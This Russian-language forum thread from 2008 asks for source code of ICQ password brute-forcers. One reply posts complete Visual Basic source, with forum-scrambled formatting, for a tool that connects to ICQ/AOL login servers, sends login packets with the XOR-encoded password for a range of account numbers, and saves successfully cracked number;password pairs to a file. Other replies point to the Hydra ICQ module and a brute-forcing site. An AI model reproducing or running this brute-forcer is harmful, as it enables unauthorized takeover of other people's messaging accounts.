Исходники брутов

Discussion in 'Skype, IRC, ICQ, Jabber и другие IM' started by A_V, 3 May 2008.

  1. A_V

    A_V Elder - Старейшина

    Joined:
    18 Feb 2008
    Messages:
    106
    Likes Received:
    34
    Reputations:
    0
    Интересно было бы посмотреть исходники брутов для асек, желательно делфи и висуал байсик :D

    ПХП не предлагать :)



    ----------------------------------------------------------------

    Админы сорри если надо было писать в раздел программирование, но мне кажется здесь мне ответят быстрее... Спасибо за понимание, жду ответа! ! ! :p
     
  2. pento

    pento Elder - Старейшина

    Joined:
    3 Jul 2006
    Messages:
    126
    Likes Received:
    24
    Reputations:
    -1
    Посмотри исходники ICQ модуля для Hydra
     
  3. Ch3ck

    Ch3ck Elder - Старейшина

    Joined:
    9 Jun 2006
    Messages:
    1,363
    Likes Received:
    1,192
    Reputations:
    430
    http://zbrute.antichat.ru/
     
    2 people like this.
  4. Linux

    Linux Elder - Старейшина

    Joined:
    3 Jun 2007
    Messages:
    165
    Likes Received:
    42
    Reputations:
    21
    На VB
    PHP:
    Option Explicit                 'отключаем автодекларацию переменных
    Const BRUTE_INTERVAL = 2000     '
    таймаут между попытками перебора пароля в мс
    Const ICQ_PORT 5190           'icq порт
    Const SRV_COUNT = 6             '
    Количество ICQ серверов
    Dim Icq_SRV
    (1 To SRV_COUNT) As String   'Массив ICQ серверов
    Dim Current_SRV As Byte         '
    Хранит номер текущего ICQ сервера из массива ICQ_SRV
    Dim good
    bad As Long           'Удалос подобрать/неудалос подобрать пасс

    // это для работы сборщика пакетов //
    Dim cli As Boolean              'Флаг, буыер сборки пуст-false,буфер заполняется-true
    Dim Flen, Mlen As Long          '
    Длина буфера/сколько уже собрано
    Dim MainBuff 
    As String          'Сам буфер

    Private Sub Form_Load()                 '
    загрузка формы
       Dim buff 
    As String                  'Буфер для чтения файла
       Timer.Enabled = False               '
    отключаем таймер
       Timer
    .Interval BRUTE_INTERVAL     'задаём интервал таймера
       Command1.Enabled = True             '
    Включаем кнопочку Стоп
       Command2
    .Enabled False            'Выключаем кнопочку Старт
       '
    Загрузим сохранённые настройкм
       
    If Dir(App.Path "\settings.txt") <> "" Then       'Если файл с настройками есть
           Open App.Path & "\settings.txt" For Input As #1 '
    Открываем его
               Line Input 
    #1, buff                         'Читаем строку
               
    Text2 buff                                'Пишем в TextBox её содержимое
               Line Input #1, buff                         '
    Читаем строку
               Text3 
    buff                                'Пишем в TextBox её содержимое
               Line Input #1, buff                         '
    Читаем строку
               Text4 
    buff                                'Пишем в TextBox её содержимое
           Close #1                                        '
    Закрываем файл
       End 
    If                                              'Конец условия
       ' 
    // заполним массив ICQ серверов //
       
    Icq_SRV(1) = "login.icq.com"
       
    Icq_SRV(2) = "login.oscar.aol.com"
       
    Icq_SRV(3) = "ibucp-vip-d.blue.aol.com"
       
    Icq_SRV(4) = "ibucp-vip-m.blue.aol.com"
       
    Icq_SRV(5) = "bucp2-vip-m.blue.aol.com"
       
    Icq_SRV(6) = "bucp-m08.blue.aol.com"
       
    Current_SRV 1                                     'Установим номер текущего сервера - 1
       good = 0                                            '
    Обнулим счётчик GOOD-UIN'ов
       bad = 0                                             '
    Обнулим счётчик BAD-UIN'ов
    End Sub
    Private Sub Command1_Click()                            '
    Кнопка Старт
       
    If Val(Text2) >= Val(Text3Then Exit Sub           'Если ОТ меньше чем ДО то едем далее
       Command1.Enabled = False                            '
    вырубаем кнопку старт
       Command2
    .Enabled True                             'Врубаем кнопку стоп
       Open App.Path & "\good.txt" For Append As #1        '
    открываем файл №1 для записи туда good
       Open App
    .Path "\bad.txt" For Append As #2         'открываем файл №2 для записи туда bad
       
    Timer.Enabled True                                'Включаем таймер
    End Sub
    Private Sub Timer_Timer()                               '
    Таймерчег
       socket
    .CloseConnection                              'закрываем соединение
       socket.Connect Icq_SRV(Current_SRV), ICQ_PORT       '
    коннектимся к Autorization-server
       Current_SRV 
    Current_SRV 1                       'меняем сервер
       If Current_SRV = SRV_COUNT + 1 Then Current_SRV = 1 '
    проверимес сервера закончилисто по новой
    End Sub
    Private Sub Command2_Click()                            'кнопка Стоп
       Timer.Enabled = False                               '
    Вырубаем таймер
       Text1 
    ""                                          'Чистим Text1
       good = 0                                            '
    обнуляем гуд
       bad 
    0                                             'обнуляем бад
       Close #1                                            '
    закрываем файл с гуд
       Close 
    #2                                            'закрываем файл с бад
       
    Command1.Enabled True                             'врубаем кнопку старт
       Command2.Enabled = False                            '
    вырубаем кнопку стоп
    End Sub
    Private Sub socket_DataArrival(data As String)          'Если к нам пришли данные
       If cli = False Then                                 '
    Если буфер пуст
           Flen 
    GetFlapLen(data)                         'определим длину флэпа
           Mlen = Flen + 6                                 '
    добавляем к длине длину 6-байтового заголовка флэпа
           cli 
    True                                      'включаем сбор пакетов
           MainBuff = data                                 '
    записываем первую порцию байт в буфер
       
    Else                                                'если сбор включен
           MainBuff = MainBuff + data                      '
    добавим пакет к буферу
           Mlen 
    Mlen Len(data)                         'увеличим длину собранного
       End If
    '
    проверимне пора ли прекратить сбор пакетов
    If Mlen Flen 6 Then                                 'Если принято столько сколько должно быть(весь флэп-пакет)
       cli = False                                         '
    выключаем сборщег
       Flen 
    0                                            'обнуляем счётчег длины
       Do                                                  '
    прочекаем принятое на предмет флэпов (их там многа может быть)
       
    Flen GetFlapLen(MainBuff) + 6                     'смотрим длину
       FLAPPER (Mid$(MainBuff, 1, Flen))                   '
    отправляем флэп во флаппер(процедура обработки)
       
    MainBuff Mid$(MainBuffFlen 1Len(MainBuff) - Flen'отсекаем от буфера отправленный косочег
       Loop Until Len(MainBuff) = 0                        '
    делаем пока буфер не опустошим
       MainBuff 
    ""                                       ' на всёкий случай xD
    End If
    End Sub
    Private Sub FLAPPER(fData As String)                    '
    Обработчег FLAP-пакетов
    Dim snac
    packUINPASS As String                     'строковые переменные
       If GetByte(fData, 2) = 1 Then                       '
    если канал первый
           fData 
    GetFlapData(fData)                      'Получаем содержимое флэпа
           If str2hex(fData) = "00000001" Then             '
    если пришол hello-пакет
               PASS 
    Text4                                'Запоминаем текущий PASS
               UIN = Text2                                 '
    Запоминаем текущий UIN
               snac 
    hex2str("00000001")                  'Формируем SNAC логина
               snac = snac + hex2str("000100") + Chr(Len(UIN)) + UIN '
    TLV01
               snac 
    snac hex2str("000200") + Chr(Len(CalcPass(PASS))) + CalcPass(PASS'TLV02
               snac = snac + hex2str("0003008") & "ICQbasic"       '
    клиент
               snac 
    snac hex2str("00160002010A")               '16й TLV
               snac = snac + hex2str("001700020018")               '
    нижняя граница версии протокола
               snac 
    snac hex2str("001800020025")               'верхняя граница версии протокола
               snac = snac + hex2str("001900020001")               '
               
    snac snac hex2str("001A00020E90")               '
               snac = snac + hex2str("0014000400000055")           '
               
    snac snac hex2str("000F0002656E")               'язык (EN)
               snac = snac + hex2str("000E00027573")               '
    местонахождение(US)
               
    pack hex2str("2A01") + Word2Str(Rnd 32767) + Word2Str(Len(snac)) + snac 'формируем FLAP логина
               socket.SendData (pack)                              '
    Отсылаем FLAP логина
           End 
    If
       
    End If
       If 
    GetByte(fData2) = 4 Then                       'Если канал чётвёртый
            fData = GetFlapData(fData)                     '
    Получаем содержимое флэпа
            
    If GetByte(fData2) = &H8E Then               'Ес удачно подобради
               good = good + 1                             '
    добавляем good
               
    Print #1, Text2 & ";" & Text4               'пишкм в good.txt этот uin;pass
               
    incUIN                                      'ставим в текствокс следующий нумер
            End If
            If GetByte(fData, 2) = 1 Then                  '
    Если серв постал нас с таким uin;pass
               bad 
    bad 1                               'Прибавляем bad
               Print #2, Text2 & ";" & Text4               '
    пишем в bad.txt этот uin;pass
               incUIN                                      
    'ставим в текстбокс следующий нум
            End If
       End If
       
       '
    Пишем статистику в Text1
       Text1 
    "Server: " Icq_SRV(Current_SRV) & vbCrLf _
               
    "good: " good vbCrLf _
               
    "bad: " bad
    End Sub
    Private Sub incUIN()                                    'увеличивает UIN на 1
       Text2 = Val(Text2) + 1
       If Text2 = Text3 Then                               '
    если пора остановится
           Command2_Click                                  
    'Эмулируем нажатие на стоп
           MsgBox "Брут закончен. Удалось подобрать " & good & " номеров." '
    Сообщение
       End 
    If
    End Sub
    Private Sub Command3_Click()                            'Кнопка Exit
       Form_Unload (0)                                     '
    Эмулируем закрытие
    End Sub
    Private Sub Form_Unload(Cancel As Integer)              'Закрытие
       Command2_Click                                      '
    эмулируем нажатие на Стоп
       Open App
    .Path "\settings.txt" For Output As #1    'Пишем настройки в файл settings.txt
           
    Print #1, Text2
           
    Print #1, Text3
           
    Print #1, Text4
       
    Close #1
       
    End                                                 'Закрываемся
    End Sub

    '
    --------------------- вспомогательные функции ---------------
    Private Function 
    hex2str(ByVal data As String) As String        'Переводит набор типа "00FF3E" в строку
       Dim i As Integer
       For i = 1 To Len(data) Step 2
           hex2str = hex2str & Chr(Val("&H" + Mid$(data, i, 2)))
       Next i
    End Function
    Private Function str2hex(ByVal Txt As String) As String         '
    Переводит байты строки в набор типа "АА3А00"
       
    Dim i As Integer
       Dim buff 
    As String
       
    For 1 To Len(Txt)
           
    buff Hex(GetByte(Txti))
           If 
    Len(buff) = 1 Then buff "0" buff
           str2hex 
    str2hex buff
       Next i
    End 
    Function
    Private Function 
    GetFlapLen(flapdata As String) As Long         'Возвращает длину FLAP-пакета
       Dim HexBuff As String
       Dim byte1 As String * 2
       Dim byte2 As String * 2
       If GetByte(flapdata, 5) <> 0 Then byte1 = Hex(GetByte(flapdata, 5)) Else byte1 = "00"
       If GetByte(flapdata, 6) <> 0 Then byte2 = Hex(GetByte(flapdata, 6)) Else byte2 = "00"
       HexBuff = "&H" & byte1 & byte2
       GetFlapLen = Val(HexBuff)
    End Function
    Private Function GetByte(Txt As String, num As Integer) As Byte '
    возвращает значение какого-либа байта какой-либо строки
       GetByte 
    Asc(Mid$(Txtnum1))
    End Function
    Private Function 
    GetFlapData(flapdata As String) As String      'Возврящает содержимое FLAP-пакета (отрезает заголовок)
       GetFlapData = Mid$(flapdata, 7, Len(flapdata) - 6)
    End Function
    Private Function CalcPass(ByVal PASS As String) As String       '
    Делает XOR - пароль
       Dim passarr
    (1 To 16) As Byte
       Dim i 
    As Byte
       passarr
    (1) = &HF3
       passarr
    (2) = &H26
       passarr
    (3) = &H81
       passarr
    (4) = &HC4
       passarr
    (5) = &H39
       passarr
    (6) = &H86
       passarr
    (7) = &HDB
       passarr
    (8) = &H92
       passarr
    (9) = &H71
       passarr
    (10) = &HA3
       passarr
    (11) = &HB9
       passarr
    (12) = &HE6
       passarr
    (13) = &H53
       passarr
    (14) = &H7A
       passarr
    (15) = &H95
       passarr
    (16) = &H7C
       CalcPass 
    ""
       
    For 1 To Len(PASS)
           
    CalcPass CalcPass Chr(Asc(Mid$(PASSi1)) Xor passarr(i))
       
    Next i
    End 
    Function
    Private Function 
    GetHEX(ByVal Txt As String) As String  'Делает из байтов строки запись вида "00 АА А3 FF"
       Dim i As Integer
       Dim buff As String
       For i = 1 To Len(Txt)
           buff = Hex(GetByte(Txt, i))
           If Len(buff) = 1 Then buff = "0" & buff
           GetHEX = GetHEX & buff & " "
       Next i
    End Function
    Private Function Word2Str(data As Long) As String       '
    Переводит 2-байтовую переменную в запись типа "0001"
       
    Dim i As Integer
       Dim buff 
    As String
       buff 
    Hex(data)
       If 
    Len(buff) = 1 Then buff "000" buff
       
    If Len(buff) = 2 Then buff "00" buff
       
    If Len(buff) = 3 Then buff "0" buff
       Word2Str 
    Chr(Val("&H" Mid$(buff12))) + Chr(Val("&H" Mid$(buff32)))
    © karas
     
    #4 Linux, 4 Dec 2008
    Last edited: 5 Dec 2008
  5. crystalbit

    crystalbit Elder - Старейшина

    Joined:
    6 Jun 2008
    Messages:
    212
    Likes Received:
    88
    Reputations:
    8
    Через aol.com, как делает малефик второй
     
    #5 crystalbit, 4 Dec 2008
    Last edited: 4 Dec 2008
  6. RomaM65

    RomaM65 New Member

    Joined:
    1 Dec 2008
    Messages:
    7
    Likes Received:
    0
    Reputations:
    0
    Люди а как создать бат файл к проге чтоб её запускать?
     
  7. Linux

    Linux Elder - Старейшина

    Joined:
    3 Jun 2007
    Messages:
    165
    Likes Received:
    42
    Reputations:
    21
    В моём предыдушем посту выложен код на VB, я не знаю почему пост отображается пустым, при нажаниее кнопки цитирования вы увидите его содержание
     
  8. *eXe*

    *eXe* Banned

    Joined:
    20 May 2008
    Messages:
    0
    Likes Received:
    184
    Reputations:
    0
    слишком длинный
    залил на депозит скачать
     
  9. zer0ska

    zer0ska Elder - Старейшина

    Joined:
    5 Dec 2007
    Messages:
    103
    Likes Received:
    9
    Reputations:
    0
    правая кнопка мыши
    создать
    текстовыйдокумент
    имя.bat
    Ж)
     
  10. Звеpь

    Звеpь Banned

    Joined:
    5 Nov 2008
    Messages:
    16
    Likes Received:
    55
    Reputations:
    -6
    Ищу исходники брутов Delphi должно у кого то быть:)